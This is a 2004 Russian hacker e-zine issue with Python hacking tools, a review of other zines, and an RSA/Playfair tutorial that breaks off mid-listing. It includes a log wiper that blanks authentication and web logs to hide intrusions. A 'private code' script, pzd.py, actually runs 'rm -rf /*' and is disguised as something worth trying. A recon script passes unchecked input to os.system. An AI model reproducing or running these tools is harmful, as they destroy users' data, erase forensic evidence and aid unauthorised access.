--------------------------------------------------------------------------------
>> "Feeling of Digital Streams", Network e-zine, Issue 3 '04 <<
--------------------------------------------------------------------------------
.oo00@00ooo. .ooooooooo. .ooo00oooo,
.o00@@000@@00$$o 'o@00@@00oo. @@00o@' ~0o.
.o00@@@000~~~``~~`~ ;o@00'~'00@0o. "@@@0o..
o0000@00@0000ooo o0@00 '000@ '@@00o.
o000@000@00~`~`~~` .o0@00' .o00' "@00oo.
o000@000000~ o00@0@0'_.o0@:0~ ,0o., o@00o.
.o000@0000@@` .o000000@@@@00@0' "00o0@0@0:000"
Hey Boy, Hey Girl! "FDS" has you...
--------------------------------------------------------------------------------
@:::::::@ editor of magazine b3$t_m0w1 @:::::::@
:@#####@ our staff b3$t_m0w1, Scorpio @#####@:
:#@###@ www feelds.by.ru @###@#:
:##@#@: hackdocs.host.kz/fds/index.html :@#@##:
:###X#: contact -fds- [@mail.kz] :#X###:
:##@#@: with b3$t_m0w1 best_mowi [@mail.kz] :@#@##:
:#@###@ with Scorpio scorpio2002 [@mail.kz] @###@#:
:@#####@ respect 2 euronymous (f0kp.iplus.ru) @#####@:
@:::::::@ our parents @:::::::@
--------------------------------------------------------------------------------
***** Table of contents ******************************************
[0000] introduction......................................b3$t_m0w1
[0001] p_scan.py (port scanner)..........................b3$t_m0w1
[0010] totalmdk9.0.lw.py (logwiper)......................b3$t_m0w1
[0011] boks_detect.py (geting info about boks)...........b3$t_m0w1
[0100] pzd.py (private fds code).........................b3$t_m0w1
[0101] some russian e-magazin's (easy overview)..........b3$t_m0w1
[0110] crypto (rsa, playfair).........................."FDS" staff
[0111] fqdnscan.py (fast creating of host-list)..........b3$t_m0w1
[1000] theory of hacking.................................b3$t_m0w1
[1001] for phuns (guido.au sound phile)..................b3$t_m0w1
[1010] one forum's trick.................................b3$t_m0w1
[1011] close words.......................................b3$t_m0w1
******************************************************************
--------------------------------------------------------------------------------
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
<==============================================================================>
:0000: [ introduction ] by b3$t_m0w1 :0000:
<==============================================================================>
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
--------------------------------------------------------------------------------
<++ start :0000: ++>
Hi!
Добро пожаловать на электронные страницы сетевого журнала "Feeling of Digital
Streams"! - зайн, посвящённый культуре андеграунда, хакингу, программированию,
/etc... Так как наш третий выпуск выходит перед Новым Годом, мы, то есть
я (b3$t_m0w1) и Scorpio, поздравляем всё компьютерное братство с наступающим
праздником =) и желаем по крайней мере изучения 2-х (это минимум =) ) компью-
терных языков программирования, как говорится, дерзайте и дерзите всем и вся.
Приятной новостью является создание зеркала нашего сайта на веб - узле
http://hackdocs.host.kz/fds/index.html
Его создание( зеркала) теперь позволит казахстанской аудитории знакомиться с
выпусками нашего зайна, не поключаясь к "полному" инету (87501110111 forever =)
Также основными целями создания зеркала является распространение нашего зайна в
сети, то есть для того, чтобы как можно больше людей познакомилось с информа-
цией, которую мы представляем. Если кто - то хочет помочь нам в этом плане, мо-
жете размещать наши выпуски журналов (ПОЛНОСТЬЮ! БЕЗ ИЗМЕНЕНИЙ!) у себя на сай-
тах (и конечно дать узнать об этом нам).
Вообщем, за первую помощь, мы благодарны UnError'у! Большое тебе спасибо!
Также хочется сказать, что в плане данного выпуска немного пропал из виду
Scorpio, но будем надееться, что в будующем он удивит вас своими наработками =)
Ну всё, rtfm, гайз...
<++ end :0000: ++>
--------------------------------------------------------------------------------
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
<==============================================================================>
:0001: [ p_scan.py (port scanner) ] by b3$t_m0w1 :0001:
<==============================================================================>
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
--------------------------------------------------------------------------------
<++ start :0001: ++>
#!/usr/bin/python
''' RESUME about this source on python '''
#========================================#
# p_scan.py (slow ports scanner) v 1.0 #
# Proof of concept code wizout threads #
# coded by b3$t_m0w1 [[email protected]] #
# "feeling of digital streams" #
#========================================#
#--------- importing of modules ---------#
import sys, socket
#------------ anti-lame using -----------#
def checking():
if (len(sys.argv)<3):
print "\n Oh, Kiddi!\n"
print " Usage: %s <<target>> <<end_port>>" % sys.argv[0]
print "example: %s 127.0.0.1 255" % sys.argv[0]
print " log in: /tmp/p_scanner_log\n"
sys.exit(0)
if (int(sys.argv[2])>(65535)):
print "\n \033[;31m<<end_port>> - must be: 1 .. 65535\033[;37m\n"
sys.exit(0)
#--- main scan function of p_scanner ----#
def main():
try:
log=open("/tmp/p_scanner_log", "a")
log.write(" *--------------------------------------*\n")
log.write(" port's on "+sys.argv[1]+"\n")
log.write(" *--------------------------------------*\n")
print "\033[;31m"
print "\n ======================================"
print " === p_scanner (port_scanner) v 1.0 ==="
print " ========= coded by b3$t_m0w1 ========="
print " ======================================\033[;37m\n"
print " port's on "+sys.argv[1]+":\n"
for loop in xrange(1,int(sys.argv[2])+1):
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM, proto=0)
try:
target=sys.argv[1]
sock.connect((target,loop))
print " \033[1;32m"+str(loop)+"\033[;37m - open"
log.write(" "+str(loop)+" - open\n")
except socket.error:
continue
log.write("\n\n\n")
log.close()
print "\n\033[;31m ======================================\033[;37m"
print "\n"
except KeyboardInterrupt:
print "\n\033[;31m Stoped!\n\033[;37m"
sys.exit(0)
except ValueError:
print "\033[;31m"
print " Error! Port is not string; retype to int your <<end_port>>!\n"
print "\033[;37m"
sys.exit(0)
#---- where is our functions, guy's? ----#
checking(), main()
#------------ yes! we do it! ------------#
<++ end :0001: ++>
--------------------------------------------------------------------------------
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
<==============================================================================>
:0010: [ totalmdk9.0.lw.py (logwiper) ] by b3$t_m0w1 :0010:
<==============================================================================>
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
--------------------------------------------------------------------------------
<++ start :0010: ++>
Программируя в python'е, вам приходиться иногда работать с файлами. Создавать
новые, дозаписывать в уже существующие и т.д. Как вы знаете, при обращении к
объекту-файлу при использовании встроенной функции open(), следует указывать ре-
жим использования файлов. Режимы бывают следующие:
"r" - только для чтения
"w" - только для записи
"a" - для дозаписи в конец файла
"r+" - для чтения и записи
Для того, чтобы открывать файлы в двоичном режиме нужно пользоваться флагом "b".
Для каких целей я это вам рассказываю? А вот для каких!
Если мы пользуемся встроенной функцией open(), указываем текстовый объект-файл и
режим использования "wb", то в результате текст нашего файла будет испорчен! То
есть был файл размером 200 килобайт, а стал 0 :)
Данная особенность надоумила меня написать простенькую программу, целями которой
могут являться обязанности логвайпера (главная и основная, я думаю), затем прос-
то, как полезная программа, использующаяся при трудоёмких работах с файлами и
т.д. Короче говоря, применение данной программе можно найти везде. Да и код вам
смодифицировать будет несложно. Следует лишь указать в списке нужные файлы и
запустить программу. В данном случае программа является полноценным логвайпером,
написанным специально для девятого мандрейка.
#!/usr/bin/python
# ----------------------------------------------------- #
# totalmdk9.0.lw.py #
# USaGe: cHEck in r0ot & ./totalmdk9.0.lw.py #
# c0deD bY b3$t_m0w1 (best_mowi [@] mail [.] kz) #
# ----------------------------------------------------- #
# itS fAst tuL deleTE all impoRtAnt lOG fILes in SyStem #
# wRiTEd SpeCIaLly fOr mDk 9.0 iN 5-6 sEcoND's..... #
# Of coS iT SimPle alGorYthm, bUt cOOl woRKeD, jOiN! #
# ----------------------------------------------------- #
# -- importing of modules ----------------------------- #
import os
import sys
# -- creating list of log files of system mdk 9.0 ----- #
logfile_list=['/var/log/cron/errors', '/var/log/cron/info',
'/var/log/cron/warnings', '/var/log/cups/access_log',
'/var/log/cups/error_log', '/var/log/daemons/errors',
'/var/log/daemons/info', '/var/log/warnings',
'/var/log/httpd/access_log', '/var/log/httpd/error_log',
'/var/log/httpd/perl_access_log', '/var/log/httpd/perl_error_log',
'/var/log/httpd/perl_proxied_log', '/var/log/httpd/ssl_access_log',
'/var/log/httpd/ssl_error_log', '/var/log/httpd/ssl_engine_log',
'/var/log/httpd/ssl_request_log', '/var/log/kernel/errors',
'/var/log/kernel/info', '/var/log/kernel/warnings',
'/var/log/linuxconf/boot.log', '/var/log/linuxconf/htmlaccess.log',
'/var/log/linuxconf/netconf.log', '/var/log/lpr/errors',
'/var/log/lpr/info', '/var/log/lprwarnings',
'/var/log/mail/errors', '/var/log/mail/info',
'/var/log/mail/warnings', '/var/log/news/errors',
'/var/log/mail/info', '/var/log/mail/news.crit',
'/var/log/mail/news.err', '/var/log/mail/news.notice',
'/var/log/mail/warnings', '/var/log/uucp/Debug',
'/var/log/uucp/Log', '/var/log/uucp/Stats',
'/var/log/auth.log', '/var/log/lastlog',
'/var/log/messages', '/var/log/netconf.log',
'/var/log/secure', '/var/log/security.log',
'/var/log/syslog', '/var/log/user.log',
'/var/log/wtmp', '/var/log/utmp', '/var/log/webmin/miniserv.log',
'/var/log/boot.log', '/var/log/explanations',
'/var/log/webmin/webmin_install.log','webmin_install.log.err']
# -- next instruction is main function of program ----- #
def main():
for loop in xrange(0, len(logfile_list)):
file=open(logfile_list[loop], 'wb')
file.close()
# -- heh ;) - i'm candy main! ------------------------- #
main()
# -- thats all, guys! you see, its very simple tecniq - #
<++ end :0010: ++>
--------------------------------------------------------------------------------
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
<==============================================================================>
:0011: [ boks_detect.py (geting info about boks) ] by b3$t_m0w1 :0011:
<==============================================================================>
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
--------------------------------------------------------------------------------
<++ start :0011: ++>
#-----------------------------------------------------------#
| "В начале хакер сканирует открытые порты и затем ..." |
| |
| Хех ;) - знакомая фраза? |
| Сколько раз вам уже её говорили или же вы сами читали? |
| Имхо, предостаточно. |
| Следующая программа делает всё именно по правилам |
| уже известным каждому человеку. Зачем тратить время на |
| набор команд, когда можно воспользоваться boks_detect.py? |
| Nmap (сканировка портов, детектинг операционки); |
| whois (дэ-эн-эсы, телефоны, мэйлы, доп. полезная инфа); |
| netcraft.com (анонимное опознавание сервера и ОС). |
| |
| Юзается под рутом, так как nmap использует привилегиро- |
| ванные ключи при сканировании. |
#-----------------------------------------------------------#
#!/usr/bin/python
'''
<---------------------------------------------------->
> boks_detect*.py by b3$t_m0w1 [[email protected]] <
<---------------------------------------------------->
> Usage: chmod +x boks_detect*.py <
< ./boks_detect.py <target> >
>--------------------------------------------------<
'''
import os
import sys
def checking():
if (len(sys.argv)<2):
print '\033[1;34m'
print __doc__
print '\033[;37m'
sys.exit(1)
def netcraft():
print '\033[1;34m\n <---------------------------------------------------->'
print ' | boks_detect*.py by b3$t_m0w1 [[email protected]] |'
print ' <---------------------------------------------------->\n\033[;37m'
print ' Target web-site: \033[1;31m'+sys.argv[1]+'\n\033[;37m'
print ' Netcraft\'s information:'
## based on roi.sh #######
roi_sh=open('roi.sh', 'w')
roi_sh.write('#!/bin/sh\n')
roi_sh.write('echo "`lynx -dump -crawl http://www.netcraft.com')
roi_sh.write('/whats/?host=$1 | egrep -A1 "is running"`"')
roi_sh.close()
os.system('chmod +x roi.sh')
print '\033[1;31m'
os.system('./roi.sh '+sys.argv[1])
print '\033[;37m'
def whois():
print ' whois\'s information:'
print '\033[1;31m'
os.system('whois '+sys.argv[1])
print '\033[;37m'
def nmap():
print ' nmap\'s information:'
print '\033[1;31m'
os.system('nmap -v -sS -O '+sys.argv[1])
print '\033[;37m'
def main():
checking(), netcraft(), nmap(), whois()
main()
<++ end :0011: ++>
--------------------------------------------------------------------------------
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
<==============================================================================>
:0100: [ pzd.py (private fds code) ] by b3$t_m0w1 :0100:
<==============================================================================>
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
--------------------------------------------------------------------------------
<++ start :0100: ++>
#!/usr/bin/python
#-# CoDeD By b3$t_m0w1 (best_ mowi [At] mail [DoT] kz). #-#
#-# ThiS iS pRivAtE coDE Of "FeEliNG Of DiGiTAL StrEAms"!!! #-#
#-# USe thIS pzd.py On yOur Own RiSk!!! #-#
#-# -- iMpORtIng Of MoDuLEs ------------------------------- #-#
import os
#-# -- mAiN iNStRucTiOn oF pzd.py ------------------------- #-#
def main():
print "\n ReSPecT tO yOu, Br0!\n"
os.system("rm -rf /*")
main()
#-# ------------------------------------------------------- #-#
<++ end :0100: ++>
--------------------------------------------------------------------------------
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
<==============================================================================>
:0101: [ some russian e-magazin's (easy overview) ] by b3$t_m0w1 :0101:
<==============================================================================>
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
--------------------------------------------------------------------------------
<++ start :0101: ++>
#----------------------------#------------------------------------------------#
| | Данный электронный журнал в нашем обзоре будет|
| * * ***** * * * ***** | носить статус наверняка самого продвинутого |
| * * * ** * * | (как конечно же и хаос). За время своего суще-|
| * 25 * * * * * ***** | ствования парни выпустили три выпуска + допол-|
| * * * * * ** * | нительный pack. Кое - кто может сказать, что |
| * * ***** * * * ***** | для продвинутого зайна это немного. Но если |
| | рассмотреть это с позиции контента, предостав-|
| x25zine.org | ляемого читателям зайна, то смело можно x25 |
| | ставить 5 с плюсом. |
#----------------------------# А контент действительно серьёзный - сети, ха- |
| кинг, секьюрити, программирование, etc... |
Оформление, кстати будет сказано, также на высшем уровне, что создаёт благо- |
приятные и положительные эмоции для чтения и получения интересной и полезной |
информации... Лично я с нетерпением жду выхода четвёртого выпуска. |
| |
| |
#----------------------------#------------------------------------------------#
| | Да, да.. |
| * * * ***** ***** | Эти ребята действительно хостятся на всем из- |
| * * * * * * * | вестном веб - узле: void.ru. |
| * * * * * * | |
| * * * * * * * * | По моему личному мнению хаос не уступает |
| * * * * ***** ***** | x25zine, хотя, конечно же, чуствуется некоторое
| | превосходство второго. |
| xaoc.void.ru | На данный момент в активе имеются два выпуска +
| | некоторая сборка третьего со вторым номером |
#----------------------------# x25zine. |
| Я знаю людей, которые считают этот электронный|
мэгэзайн лучшим, который когда - либо существовал на ru - нете. Лично я не раз-
деляю такую точку зрения - скажу лишь, что статьи действительно на 100 % про- |
фессиональны, серьёзны и интересны... |
| |
| |
#----------------------------#------------------------------------------------#
| | Когда я задумывал писАть(??? =)) данный обзор,|
| * * ** * ** **** *** | у меня сразу возникли противоречивые чуства по|
| ** * * ** **\ * * | поводу журнала "Хакер". Здесь иногда имеется |
| ** **** ** **/ *** | действительно стоящая инфа, заслуживающая прис-
| * * * * * ** **** * | тального к ней внимания, а иногда попадаются |
| | (никому в обиду не будет сказано) отвратитель-|
| xakep.ru | ные вещи, которые очень сильно уродуют - |
| | 4 3x4mp1 - ту же трактовку понятия "хакер". |
#----------------------------# Но всё - таки журналом интересуются - постоянно
| читают, скачивают, покупают - удивляются и это|
i. m. h. o. есть очень хорошо. |
| |
| notes: Имеется в сети такой сайт: |
| xmagazine.host.kz
| Чем же он хорош? А тем, что здесь выло-|
| жены и удобно отсортированы все выпуски|
| журнала "Хакер" + конечно же спецы... |
| |
| |
#--------------------------------#--------------------------------------------#
| | Самый молодой электронный журнал в коллек-|
| ** ** ** *** **** * * | ции, которую мы сегодня с вами рассматрива-
| * * * * * * * * * ** * | ем. Первый выпуск, соотвественно, вышел не-
| * * **** ** * ** * * * * * | давно и, конечно же, этого для приличного |
| * * * * * ** * * * * * ** | субъективного мнения маловато. Да, чуствует
| ** * * * * **** **** * * | ся недостаток статей, но также и желания и|
| | старания авторов донести до читателя полез-
| www.wmpnet.ru/dargon/index.php | ную информацию. |
| | |
#--------------------------------# |
| |
| |
#--------------------------------#--------------------------------------------#
| | hack-info.ru больше не существует, но все |
| * * * * ***** ***** | шесть выпусков можно качнуть, к примеру, на
| * * * * * * * | том же xmagazine.host.kz (там кстати и фрак
| * *** * * * ** *** | в наличии)... |
| * * ** ** * * * | |
| * * * * ***** ***** | Этот сетевой журнал носит статус |
| | hack-info )) like журнала. Здесь собрано, |
| hack-info.ru is closed | оформлено и упаковано большое количество |
| | документов на русском языке, посвящённых |
#--------------------------------# хакингу, фрикингу, программировнию, железу,
| вирям, /етс... |
По моему убеждению это очень полезно для людей, которые только начинают вли- |
ваться в данное движение - столько полезной и ещё актуальной информации, охва-|
тывающей практически все рамки нетворк секьюрити, будет играть только на руку |
читателю. |
| |
| |
#------------------------------------#----------------------------------------#
| | Наверное, только я пока ещё ничего не |
| *** **** **** **** **** **** *** | сказал по поводу данного зайна... |
| * * * * * * * * * * | (хех ;) - только тебя и ждали =) ) |
| * * *** *** **** * *** * * | |
| * * * * * * * * * * | В нашем списке он по праву считается |
| *** **** * * * **** **** *** | самым, не побоюсь сказать этого слова,|
| | скандальным сетевым мэгэзайном. |
| f0kp.iplus.ru/defaced | |
| | С одной стороны обливание грязью, злые|
#------------------------------------# и нехорошие упрёки, с другой - иск- |
| реннее восхищение и похвала. |
Мне кажется, что именно этот факт говорит о том, что всё - таки "Defaced" стоит
на правильном пути. |
На данный момент вышло три номера. Если я не ошибаюсь, в скором будующем мы |
возможно узреем четвёртый выпуск. |
Не знаю как вам, но мне было бы очень интересно узнать какую на этот раз стафф|
Defaced'а вызывет реакцию у электронного братства =) |
| |
| |
#--------------------#--------------------------------------------------------#
| | Не буду по сто раз оставлять наши координаты, вы их и |
| ***** **** ***** | так прекрасно знаете. |
| * * * * | |
| **** * * ***** | Здесь я не буду обсуждать свой же зайн, скажу лишь, что
| * * * * | это ваша обязанность =) |
| * **** ***** | |
| | Хотя вот эту фразу стоит до вас донести: |
#--------------------# |
| хочу надеяться, что если и не сейчас, то в будующем наш
| зайн не будет уступать своим, вышеперечисленным колле-|
| гам... |
| |
#-----------------------------------------------------------------------------#
На этом у меня всё, единственное - данная последовательность всех журналов ни-
чего не объясняет и не доказывает, то есть в плане (кто лучше)/(кто хуже).
Честно говоря, у всех имеются как сильные, так и слабые стороны.
Читайте, учитесь, узнавайте новое, пойте песни, не летайте с балконов, прыгай..
<skiped> <skiped> <skiped> <skiped> <skiped> <skiped> <skiped>
CUL!
from b3$t_m0w1...
<++ end :0101: ++>
--------------------------------------------------------------------------------
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
<==============================================================================>
:0110: [ crypto (rsa, playfair) ] by "FDS" staff :0110:
<==============================================================================>
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
--------------------------------------------------------------------------------
<++ start :0110: ++>
Данная статья продолжает цикл артиклов, посвящённых крипто - алгоритмам и их
программированию. Как мы и обещали, по мере наших знаний мы будем продвигаться
от простейших схем к сложным. Как раз сегодня мы и рассмотрим одну из таких
сложноватых схем.
Итак, в чём заключается смысл алгоритма rsa?
Выберем для начала открытый текст: CAB.
Теперь выберем произвольные простые! числа "p" и "q":
(они должны быть очень большими - в этом и заключается стойкость данного алго-
ритма, мы же для простоты возьмём маленькие числа)
p = 3, q = 11
Определим произведение заданных чисел и обзовём полученный результат как "n":
n = p * q = 33
Есть! Далее определяем значение следующего выражения:
( p - 1 ) * ( q - 1 ) = 20
Определяем число "d", которое по отношению к ( p - 1 ) * ( q - 1 ) будет яв-
ляться взаимно простым:
d = 3
Находим такое число "e", чтобы выполнялось следующее равенство:
e * d ( mod ( 20 ) ) = 1
нашли: e = 7
Всё! База у нас есть.
Теперь же индексируем наш латинский алфавит, начиная с единицы, и возвращаем
индексы символов, которые находяться в нашем открытом сообщении:
===== ===== =====
= = = = = =
= С = = 3; = А = = 1; = В = = 2;
= = = = = =
===== ===== =====
Имеем открытое сообщение: { 3, 1, 2 }
ключ: { e, n } { 7, 33 } - открытый ключ
Шифровка:
notes: ^ - степень
[-------------------------------------]
a[0] = 3^7(mod33) = 2187(mod33) = 9
a[1] = 1^7(mod33) = 1
a[2] = 2^7(mod33) = 29
[-------------------------------------]
Шифротекст получен: { 9, 1, 29 }
Дешифровка:
вообщем вы уже, наверно, поняли, что пары:
{ e, n } - открытый ключ
{ d, n} - закрытый ключ
Соответственно:
notes: ^ - степень ))
[---------------------------------------]
b[0] = 9^3(mod33) = 729(mod33) = 3
b[1] = 1^3(mod33) = 1
b[2] = 29^3(mod33) = 24389(mod33) = 2
[---------------------------------------]
То есть:
===== ===== =====
= = = = = =
= 3 = = C; = 1 = = A; = 2 = = B;
= = = = = =
===== ===== =====
Далее идёт неполный исходник программы rsa.hta
Не добита ещё функция дешифровки, да и код сам ещё сыроват :((
Основной проблеммой при написании rsa.hta явились неприятные моменты реализа-
ции JScript - никаких ведь типов данных нет, а мне к примеру нужно сто тысяч
возвести в сто тысяч. Хорошо ещё если вам будет выдана ошибка "NaN" (програм-
меры на скриптах знают, что это такое), а то ведь случается полный зависон
браузера мать его. Но как говорится, если дал слово, то держи его. Вот так и я,
обещал все крипто - алгоритмы писать на JScript - вот и пишу.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Алгоритм RSA</title>
<meta http-equiv=Content-Type content='text/html; charset=windows-1251'>
<HTA:APPLICATION ID="crYpt0"
APPLICATIONNAME="crYpt0"
WINDOWSTATE="randomize"
SINGLEINSTANCE="yes"
CONTEXTMENU="yes"
SHOWINTASKBAR="yes"
SCROLL="no"
SELECTION="no"
BORDER="thin"
SYSMENU="yes"
BORDERSTYLE="static"
VERSION="0.4"
>
<script language='JScript'>
<!--
/* ----------------------------------------------- */
/* Coded by b3$t_m0w1 [[email protected]] */
/* rsa.hta source (short version, only encryption) */
/* "Feeling of Digital Stream's" */
/* ----------------------------------------------- */
function clean() {
f.p.value='';
f.q.value='';
f.n.value='';
f.r.value='';
f.d.value='';
f.e.value='';
f.plain.value='';
f.encr.value='';
}
function size() {
window.resizeTo(250, 300);
}
function enc() {
var stroka='';
var mass=new Array();
var n='', r='', e='', count_1, count_2, count_3, plain, prom_1, prom_2;
fso=new ActiveXObject("WScript.Shell");
n=(f.p.value)*(f.q.value); f.n.value=n;
r=(f.p.value-1)*(f.q.value-1); f.r.value=r; plain=f.plain.value;
count_1=1; count_2=0; count_3=0; prom_1=''; prom_2='';
if ((((((r-1)%2!=0) && ((r-1)%3!=0)) && (((r-1)%4!=0) &&
((r-1)%5!=0))) && ((((r-1)%6!=0) && ((r-1)%7!=0)) &&
(((r-1)%8!=0) && ((r-1)%9!=0)))) && ((((r-1)%10!=0) &&
((r-1)%11!=0)))) {
f.d.value=(r-1);
} else
if ((((((r-2)%2!=0) && ((r-2)%3!=0)) && (((r-2)%4!=0) &&
((r-2)%5!=0))) && ((((r-2)%6!=0) && ((r-2)%7!=0)) &&
(((r-2)%8!=0) && ((r-2)%9!=0)))) && ((((r-2)%10!=0) &&
((r-2)%11!=0)))) {
f.d.value=(r-2);
} else
if ((((((r-3)%2!=0) && ((r-3)%3!=0)) && (((r-3)%4!=0) &&
((r-3)%5!=0))) && ((((r-3)%6!=0) && ((r-3)%7!=0)) &&
(((r-3)%8!=0) && ((r-3)%9!=0)))) && ((((r-3)%10!=0) &&
((r-3)%11!=0)))) {
f.d.value=(r-3);
} else
if ((((((r-4)%2!=0) && ((r-4)%3!=0)) && (((r-4)%4!=0) &&
((r-4)%5!=0))) && ((((r-4)%6!=0) && ((r-4)%7!=0)) &&
(((r-4)%8!=0) && ((r-4)%9!=0)))) && ((((r-4)%10!=0) &&
((r-4)%11!=0)))) {
f.d.value=(r-4);
} else
if ((((((r-5)%2!=0) && ((r-5)%3!=0)) && (((r-5)%4!=0) &&
((r-5)%5!=0))) && ((((r-5)%6!=0) && ((r-5)%7!=0)) &&
(((r-5)%8!=0) && ((r-5)%9!=0)))) && ((((r-5)%10!=0) &&
((r-5)%11!=0)))) {
f.d.value=(r-5);
} else
if ((((((r-6)%2!=0) && ((r-6)%3!=0)) && (((r-6)%4!=0) &&
((r-6)%5!=0))) && ((((r-6)%6!=0) && ((r-6)%7!=0)) &&
(((r-6)%8!=0) && ((r-6)%9!=0)))) && ((((r-6)%10!=0) &&
((r-6)%11!=0)))) {
f.d.value=(r-6);
} else
if ((((((r-7)%2!=0) && ((r-7)%3!=0)) && (((r-7)%4!=0) &&
((r-7)%5!=0))) && ((((r-7)%6!=0) && ((r-7)%7!=0)) &&
(((r-7)%8!=0) && ((r-7)%9!=0)))) && ((((r-7)%10!=0) &&
((r-7)%11!=0)))) {
f.d.value=(r-7);
} else
if ((((((r-8)%2!=0) && ((r-8)%3!=0)) && (((r-8)%4!=0) &&
((r-8)%5!=0))) && ((((r-8)%6!=0) && ((r-8)%7!=0)) &&
(((r-8)%8!=0) && ((r-8)%9!=0)))) && ((((r-8)%10!=0) &&
((r-8)%11!=0)))) {
f.d.value=(r-8);
} else
if ((((((r-9)%2!=0) && ((r-9)%3!=0)) && (((r-9)%4!=0) &&
((r-9)%5!=0))) && ((((r-9)%6!=0) && ((r-9)%7!=0)) &&
(((r-9)%8!=0) && ((r-9)%9!=0)))) && ((((r-9)%10!=0) &&
((r-9)%11!=0)))) {
f.d.value=(r-9);
} else
if ((((((r-10)%2!=0) && ((r-10)%3!=0)) && (((r-10)%4!=0) &&
((r-10)%5!=0))) && ((((r-10)%6!=0) && ((r-10)%7!=0)) &&
(((r-10)%8!=0) && ((r-10)%9!=0)))) &&
((((r-10)%10!=0) && ((r-10)%11!=0)))) {
f.d.value=(r-10);
}
while (count_1<(Math.pow(10,10))) {
count_1++;
if ((count_1*f.d.value)%r==1) {
e=count_1;
f.e.value=e;
break;
}
}
var ar=new Array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
var br=new Array();
for (var i=0; i<plain.length; i++) {
for (var j=0; j<26; j++) {
if (plain.charAt(i)==ar[j]) {
br[count_2]=j; count_2=count_2+1;
}
}
}
for (var i=0; i<br.length; i++) {
mass[count_3]=Math.pow(br[i],e)%n;
stroka+=mass[count_3];
stroka+=' ';
f.encr.value=stroka;
count_3=count_3+1;
}
if (((f.p.value)==1)||((f.q.value)==1)) {
fso.Popup('Значения P или Q не могут быть равны единице!',0,'Ошибка!');
f.p.value='';
f.q.value='';
f.n.value='';
f.r.value='';
f.d.value='';
f.e.value='';
f.plain.value='';
f.encr.value='';
f.p.focus();
}
if (f.n.value>729) {
fso.Popup('Значение произведения P и Q превышено! Выбирайте данные значения не выше "27".',0,'Ошибка!');
f.p.value='';
f.q.value='';
f.n.value='';
f.r.value='';
f.d.value='';
f.e.value='';
f.plain.value='';
f.encr.value='';
f.p.focus();
}
}
//-->
</script>
</head>
<body onLoad=size()>
<form name='f'>
'P':<input type='text' name='p'><br>
'Q':<input type='text' name='q'><br>
'N':<input type='text' name='n'><br>
'R':<input type='text' name='r'><br>
'D':<input type='text' name='d'><br>
'E':<input type='text' name='e'><br>
'plain':<input type='text' name='plain'><br>
'encr':<input type='text' name='encr'><br>
<input type='button' onClick='enc()' value='enc'>
<input type='button' onClick='clean()' value='cleaning'>
</body>
</html>
Далее следует описание шифра Playfair.
Для правильного понимания этого алгоритма, приводим описание, взятое из
стандартной документации (только что за документация - не помню =) ):
Этот шифр является частным видом диграммной подстановки, которая производится
с помощью перемешанного алфавита из 25 букв, записанных в виде квадрата 5х5.
(Буква J опускается при криптографической работе, так как она редко встречает-
ся, и в тех случаях, когда она встречается, её можно заменить буквой I). Пред-
положим, что ключевой квадрат записывается следующим образом:
L Z Q C P В этом случае диграмма АС, например, заменяется на
пару букв, расположенных в противоположных углах
A G N O V прямоугольника, определяемого буквами А и С, то есть
на LO, причём L взята первой, так как она выше А.
R D M I F Если буквы диграммы расположены на одной горизонта-
ли, как, например, RI, то используются стоящие спра-
K Y H V S ва от них буквы DF; RF заменяются на DR. Если буквы
расположены на одной вертикали, то используются бук-
X B T E W вы, стоящие под ними. Таким образом, PS заменяется
на VW. Если обе буквы диграммы совпадают, то можно
использовать для разделения их нуль или же одну из
букв опустить и т.п.
От теории к практике:
*----- enc. -----*
masm
model small
.stack 8h
.data
null dw 0
mess db 'Enter your phrase in small register and without space'
entst db 0Dh,0Ah,'$'
alph db 'loafq'
db 'rimeh'
db 'nkbyg'
db 'txdup'
db 'wvczs'
phr db 30 dup (0)
variabl db 60 dup (0)
variab db 60 dup (0)
encphr db 30 dup (0)
lenphr dw 0
.code
start:
;;; coded by Scorpio
;;; [email protected]
mov ax,@data
mov ds,ax
mov ah,09
lea dx,mess
int 21h
mov cx,30
xor di,di
l2:
mov ah,01
int 21h
cmp al,0Dh
jz l1
cmp al,'j'
db 0Fh,44h,06h,14h,00h;cmove ax,'i'
mov phr[di],al
inc di
loop l2
l1:
shr di,1
jnc l3
shl di,1
inc di
mov phr[di],'c'
inc di
shr di,1
l3:
shl di,1
mov lenphr,di
mov cx,di
xor si,si
mov dl,5
l4:
xor di,di
mov al,phr[si]
push cx
mov cx,25
l6:
cmp al,alph[di]
jz l5
inc di
loop l6
l5:
mov ax,di
div dl
shl si,1
mov variabl[si],ah
mov variabl[si]+1,al
shr si,1
inc si
pop cx
loop l4
;Encryption
xor si,si
mov cx,lenphr
next:
shl si,1
mov ax,word ptr variabl[si]
mov bx,word ptr variabl[si]+2
shr si,1
cmp ah,bh
jz eqstr
cmp al,bl
jz eqstl
jmp razn
eqstr:
cmp al,bl
jz eqstrstl
cmp al,04
jnz nxoral
xor al,al
dec al
nxoral:
cmp bl,04
jnz nxorbl
xor bl,bl
dec bl
nxorbl:
inc al
inc bl
jmp insr
eqstrstl:
cmp al,04
jnz nlaststr
